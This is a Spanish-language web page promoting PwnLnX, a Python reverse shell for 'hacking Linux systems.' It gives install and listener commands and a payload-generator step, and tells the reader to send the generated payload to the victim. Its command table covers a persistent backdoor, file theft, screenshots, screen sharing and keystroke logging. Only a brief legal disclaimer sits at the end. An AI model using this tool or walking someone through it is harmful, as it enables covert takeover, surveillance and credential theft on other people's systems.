PwnLnX Shell Inversa para Hacking en Sistemas Linux
PwnLnX Shell Inversa para Hacking en Sistemas Linux

PwnLnX: Shell Inversa para Hacking en Sistemas Linux

Una shell inversa avanzada, multihilo y multicliente, escrita en Python, para hackear sistemas linux. Todavía hay más trabajo por hacer, así que siéntete libre de ayudar con el desarrollo.

Reverse shell

El shell inverso es un tipo de shell que te permite conectarte a una máquina remota. Esto es útil para la post explotación, y el pentesting. Se utiliza para crear un túnel entre tu máquina local y la máquina remota, para que puedas ejecutar comandos a través del túnel.

Sigue estas instrucciones para obtener una copia de PwnLnX que se ejecute en tu máquina local sin problemas.

Instalación

Requisitos previos

  • Python3:
    • vidstream
    • pyfiglet
    • tqdm
    • mss
    • termcolor
    • pyautogui
    • pyinstaller
    • pip3
    • pynput

Instalación

Descarga el código fuente

git clone https://github.com/spectertraww/PwnLnX.git
cd PwnLnX

Ahora es momento de descargar e instalar las dependencias:

chmod +x setup.sh
./setup.sh
Instalación de PwnLnx
Instalación de PwnLnx

Poner en marcha PwnLnx

Mostrar ayuda

python3 PwnLnX.py --help

Escucha de conexiones entrantes

python3 PwnLnX.py --lhost [Tu dirección IP localhost] --lport [puerto libre para escuchar conexiones entrantes]
Escuchar conexiones con PwnLnx
Escuchar conexiones con PwnLnx

Crear/generar una carga útil

chmod +x PwnGen.sh

./PwnGen.sh
Configuración de PwnLnX
Configuración de PwnLnX

Luego sigue el procedimiento para crear exitosamente tu payload, el payload se guarda en el directorio PwnLnx. Envía el payload creado a la víctima

Uso de PwnLnx

ComandoUso
helpmostrar ayuda
exitcerrar todas las sesiones y salir del programa.
show sessionsmostrar todas las sesiones disponibles de conectados.
sessioninteractuar con un ID de sesión especificado.
killmatar una sesión especificada o all para matar todas las sesiones.
bannertienen gracia al cambiar el banner del programa
Mostrar sesiones activas
Mostrar sesiones activas
Elegir sesión remota
Elegir sesión remota

Para interactuar con una sesión:

ComandoUso
helpmostrar ayuda.
quitcerrar la sesión actual.
backgrounda segundo plano la sesión actual.
sysinfoobtener la información mínima del sistema de destino.
create_persistcrear una puerta trasera persistente.
uploadcargar el nombre de archivo especificado en el sistema de destino.
downloaddescargar el nombre de archivo especificado desde el sistema de destino.
screenshottomar una captura de pantalla del sistema de destino.
start_screenshareiniciar la compartición de pantallas en el escritorio.
stop_screensharedetener el uso de compartición de pantallas de escritorio.
start_keycapempezar a capturar las pulsaciones de la víctima.
dump_keycapvolcar/obtener las pulsaciones de teclas capturadas.
stop_keycapdetener la captura de pulsaciones de teclas.
Comando de ayuda para PwnLnX
Comando de ayuda para PwnLnX

Nótese Bien

También puedes ejecutar comandos del sistema Linux además de los mencionados anteriormente.

Aplicar comandos de Linux
Aplicar comandos de Linux

Descargo de responsabilidad

Esta shell inversa sólo debe utilizarse en la administración remota y legal de sistemas autorizados. Acceder a una red informática sin autorización o permiso es ilegal.

Informar de errores a: spectertraww@gmail.com (inglés)

Dark Mode

PwnLnX (este enlace se abre en una nueva ventana) por thatstraw (este enlace se abre en una nueva ventana)

An advanced multi-threaded, multi-client python reverse shell for hacking linux systems. There’s still more work to do so feel free to help out with the development. Disclaimer: This reverse shell should only be used in the lawful, remote administration of authorized systems. Accessing a computer network without authorization or permission is illegal.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda